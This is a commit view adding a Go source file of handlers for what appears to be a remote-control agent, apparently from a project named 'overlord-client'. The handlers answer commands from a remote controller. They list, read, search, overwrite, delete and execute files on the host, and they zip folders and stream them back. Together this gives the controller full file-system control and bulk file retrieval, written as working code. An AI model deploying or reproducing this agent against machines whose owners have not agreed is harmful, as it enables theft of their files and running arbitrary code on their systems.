inital commit
This commit is contained in:
KingKDot
@@ -0,0 +1,950 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
const maxChunkSize = 1024 * 1024
|
||||
|
||||
type pendingUpload struct {
|
||||
file *os.File
|
||||
tmpPath string
|
||||
finalPath string
|
||||
total int64
|
||||
receivedBytes int64
|
||||
receivedOffsets map[int64]int64
|
||||
chunkSize int64
|
||||
expectedChunks int
|
||||
transferID string
|
||||
}
|
||||
|
||||
var (
|
||||
pendingUploadsMu sync.Mutex
|
||||
pendingUploads = map[string]*pendingUpload{}
|
||||
)
|
||||
|
||||
func uploadKey(path, transferID string) string {
|
||||
if transferID != "" {
|
||||
return transferID
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func cleanupPendingUpload(key string, pending *pendingUpload) {
|
||||
pendingUploadsMu.Lock()
|
||||
delete(pendingUploads, key)
|
||||
pendingUploadsMu.Unlock()
|
||||
if pending == nil {
|
||||
return
|
||||
}
|
||||
if pending.file != nil {
|
||||
_ = pending.file.Close()
|
||||
}
|
||||
if pending.tmpPath != "" {
|
||||
_ = os.Remove(pending.tmpPath)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_list: %s", path)
|
||||
|
||||
if path == "" {
|
||||
path = "."
|
||||
}
|
||||
|
||||
if path == "." && runtime.GOOS == "windows" {
|
||||
return listWindowsDrives(ctx, env, cmdID)
|
||||
}
|
||||
|
||||
if path == "." && runtime.GOOS != "windows" {
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
path = homeDir
|
||||
}
|
||||
}
|
||||
|
||||
absPath, err := filepath.Abs(path)
|
||||
if err == nil {
|
||||
path = absPath
|
||||
}
|
||||
|
||||
entries := []wire.FileEntry{}
|
||||
var errMsg string
|
||||
|
||||
dirEntries, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
log.Printf("file_list error: %v", err)
|
||||
} else {
|
||||
for _, entry := range dirEntries {
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
fullPath := filepath.Join(path, entry.Name())
|
||||
fileEntry := wire.FileEntry{
|
||||
Name: entry.Name(),
|
||||
Path: fullPath,
|
||||
IsDir: entry.IsDir(),
|
||||
Size: info.Size(),
|
||||
ModTime: info.ModTime().Unix(),
|
||||
}
|
||||
|
||||
enrichFileEntry(&fileEntry, info)
|
||||
|
||||
entries = append(entries, fileEntry)
|
||||
}
|
||||
}
|
||||
|
||||
result := wire.FileListResult{
|
||||
Type: "file_list_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Entries: entries,
|
||||
Error: errMsg,
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
|
||||
entries := []wire.FileEntry{}
|
||||
|
||||
for drive := 'A'; drive <= 'Z'; drive++ {
|
||||
drivePath := string(drive) + ":\\"
|
||||
if _, err := os.Stat(drivePath); err == nil {
|
||||
|
||||
entries = append(entries, wire.FileEntry{
|
||||
Name: string(drive) + ":",
|
||||
Path: drivePath,
|
||||
IsDir: true,
|
||||
Size: 0,
|
||||
ModTime: time.Now().Unix(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
result := wire.FileListResult{
|
||||
Type: "file_list_result",
|
||||
CommandID: cmdID,
|
||||
Path: ".",
|
||||
Entries: entries,
|
||||
Error: "",
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_download: %s", path)
|
||||
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
stat, err := file.Stat()
|
||||
if err != nil {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
total := stat.Size()
|
||||
offset := int64(0)
|
||||
buffer := make([]byte, maxChunkSize)
|
||||
chunksTotal := 0
|
||||
if total > 0 {
|
||||
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
|
||||
}
|
||||
chunkIndex := 0
|
||||
reader := bufio.NewReader(file)
|
||||
|
||||
for {
|
||||
n, err := io.ReadFull(reader, buffer)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
Offset: offset,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if n > 0 {
|
||||
chunk := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Data: buffer[:n],
|
||||
Offset: offset,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
|
||||
return err
|
||||
}
|
||||
offset += int64(n)
|
||||
chunkIndex++
|
||||
}
|
||||
|
||||
if err == io.ErrUnexpectedEOF {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("file_download complete: %s (%d bytes)", path, total)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
|
||||
if total > 0 {
|
||||
key := uploadKey(path, transferID)
|
||||
pendingUploadsMu.Lock()
|
||||
pending := pendingUploads[key]
|
||||
pendingUploadsMu.Unlock()
|
||||
|
||||
if pending == nil {
|
||||
log.Printf("file_upload start: %s (total: %d bytes)", path, total)
|
||||
dir := filepath.Dir(path)
|
||||
if dir != "." {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
tmpPath := path + ".uploading"
|
||||
if transferID != "" {
|
||||
tmpPath = path + ".uploading." + transferID
|
||||
}
|
||||
file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
pending = &pendingUpload{
|
||||
file: file,
|
||||
tmpPath: tmpPath,
|
||||
finalPath: path,
|
||||
total: total,
|
||||
receivedOffsets: map[int64]int64{},
|
||||
transferID: transferID,
|
||||
}
|
||||
|
||||
pendingUploadsMu.Lock()
|
||||
pendingUploads[key] = pending
|
||||
pendingUploadsMu.Unlock()
|
||||
}
|
||||
|
||||
end := offset + int64(len(data))
|
||||
if offset < 0 || end > pending.total {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: "upload chunk exceeds declared total size",
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if pending.chunkSize == 0 && len(data) > 0 {
|
||||
pending.chunkSize = int64(len(data))
|
||||
pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize)
|
||||
}
|
||||
|
||||
if pending.file != nil {
|
||||
if _, err := pending.file.WriteAt(data, offset); err != nil {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
if _, exists := pending.receivedOffsets[offset]; !exists {
|
||||
pending.receivedOffsets[offset] = int64(len(data))
|
||||
pending.receivedBytes += int64(len(data))
|
||||
}
|
||||
|
||||
hasAllChunks := pending.expectedChunks > 0
|
||||
if hasAllChunks {
|
||||
hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks
|
||||
}
|
||||
|
||||
if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks {
|
||||
if pending.file != nil {
|
||||
_ = pending.file.Sync()
|
||||
_ = pending.file.Close()
|
||||
}
|
||||
_ = os.Remove(pending.finalPath)
|
||||
if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
log.Printf("file_upload complete: %s (%d bytes)", path, pending.total)
|
||||
cleanupPendingUpload(key, pending)
|
||||
}
|
||||
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: true,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
dir := filepath.Dir(path)
|
||||
log.Printf("file_upload start: %s", path)
|
||||
if dir != "." {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
flag := os.O_CREATE | os.O_WRONLY
|
||||
if offset == 0 {
|
||||
flag |= os.O_TRUNC
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(path, flag, 0644)
|
||||
if err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
if offset > 0 {
|
||||
if _, err = file.Seek(offset, 0); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
if _, err = file.Write(data); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data)))
|
||||
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: true,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: offset + int64(len(data)),
|
||||
Total: total,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_delete: %s", path)
|
||||
|
||||
err := os.RemoveAll(path)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_mkdir: %s", path)
|
||||
|
||||
err := os.MkdirAll(path, 0755)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
|
||||
log.Printf("file_zip: %s", sourcePath)
|
||||
|
||||
zipPath := sourcePath + ".zip"
|
||||
zipFile, err := os.Create(zipPath)
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer zipFile.Close()
|
||||
|
||||
zipWriter := zip.NewWriter(zipFile)
|
||||
defer zipWriter.Close()
|
||||
|
||||
totalFiles := 0
|
||||
filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err == nil && !info.IsDir() {
|
||||
totalFiles++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
progressMsg := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, progressMsg)
|
||||
|
||||
processedFiles := 0
|
||||
lastProgressUpdate := time.Now()
|
||||
|
||||
err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
header, err := zip.FileInfoHeader(info)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
relPath, err := filepath.Rel(sourcePath, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
header.Name = relPath
|
||||
|
||||
if info.IsDir() {
|
||||
header.Name += "/"
|
||||
} else {
|
||||
header.Method = zip.Deflate
|
||||
}
|
||||
|
||||
writer, err := zipWriter.CreateHeader(header)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !info.IsDir() {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = io.Copy(writer, file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
processedFiles++
|
||||
|
||||
now := time.Now()
|
||||
if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 {
|
||||
progress := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, progress)
|
||||
lastProgressUpdate = now
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
zipWriter.Close()
|
||||
zipFile.Close()
|
||||
|
||||
finalProgress := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, finalProgress)
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
go HandleFileDownload(ctx, env, cmdID, zipPath)
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "Zip created: " + zipPath,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
|
||||
log.Printf("file_read: %s", path)
|
||||
|
||||
if maxSize == 0 {
|
||||
maxSize = 10 * 1024 * 1024
|
||||
}
|
||||
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if info.Size() > maxSize {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
isBinary := !utf8.Valid(data)
|
||||
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Content: string(data),
|
||||
IsBinary: isBinary,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
|
||||
log.Printf("file_write: %s", path)
|
||||
|
||||
dir := filepath.Dir(path)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
err := os.WriteFile(path, []byte(content), 0644)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error {
|
||||
log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent)
|
||||
|
||||
if maxResults == 0 {
|
||||
maxResults = 1000
|
||||
}
|
||||
|
||||
results := []wire.FileSearchMatch{}
|
||||
matchCount := 0
|
||||
|
||||
err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if matchCount >= maxResults {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
|
||||
if !searchContent {
|
||||
if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) {
|
||||
results = append(results, wire.FileSearchMatch{
|
||||
Path: path,
|
||||
})
|
||||
matchCount++
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if !info.IsDir() && info.Size() < 10*1024*1024 {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || !utf8.Valid(data) {
|
||||
return nil
|
||||
}
|
||||
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
lineNum := 1
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) {
|
||||
results = append(results, wire.FileSearchMatch{
|
||||
Path: path,
|
||||
Line: lineNum,
|
||||
Match: line,
|
||||
})
|
||||
matchCount++
|
||||
if matchCount >= maxResults {
|
||||
break
|
||||
}
|
||||
}
|
||||
lineNum++
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.FileSearchResult{
|
||||
Type: "file_search_result",
|
||||
CommandID: cmdID,
|
||||
SearchID: searchID,
|
||||
Results: results,
|
||||
Complete: true,
|
||||
Error: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
||||
log.Printf("file_copy: %s -> %s", source, dest)
|
||||
|
||||
info, err := os.Stat(source)
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
err = copyDir(source, dest)
|
||||
} else {
|
||||
err = copyFile(source, dest)
|
||||
}
|
||||
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
||||
log.Printf("file_move: %s -> %s", source, dest)
|
||||
|
||||
destDir := filepath.Dir(dest)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
err := os.Rename(source, dest)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
sourceFile, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer sourceFile.Close()
|
||||
|
||||
destFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer destFile.Close()
|
||||
|
||||
_, err = io.Copy(destFile, sourceFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sourceInfo, err := os.Stat(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Chmod(dst, sourceInfo.Mode())
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
sourceInfo, err := os.Stat(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
srcPath := filepath.Join(src, entry.Name())
|
||||
dstPath := filepath.Join(dst, entry.Name())
|
||||
|
||||
if entry.IsDir() {
|
||||
if err := copyDir(srcPath, dstPath); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if err := copyFile(srcPath, dstPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error {
|
||||
log.Printf("file_chmod: %s mode=%s", path, mode)
|
||||
|
||||
err := ChangeFilePermissions(path, mode)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_execute: %s", path)
|
||||
|
||||
err := ExecuteFile(path)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
log.Printf("file_execute error: %v", err)
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
Reference in New Issue
Block a user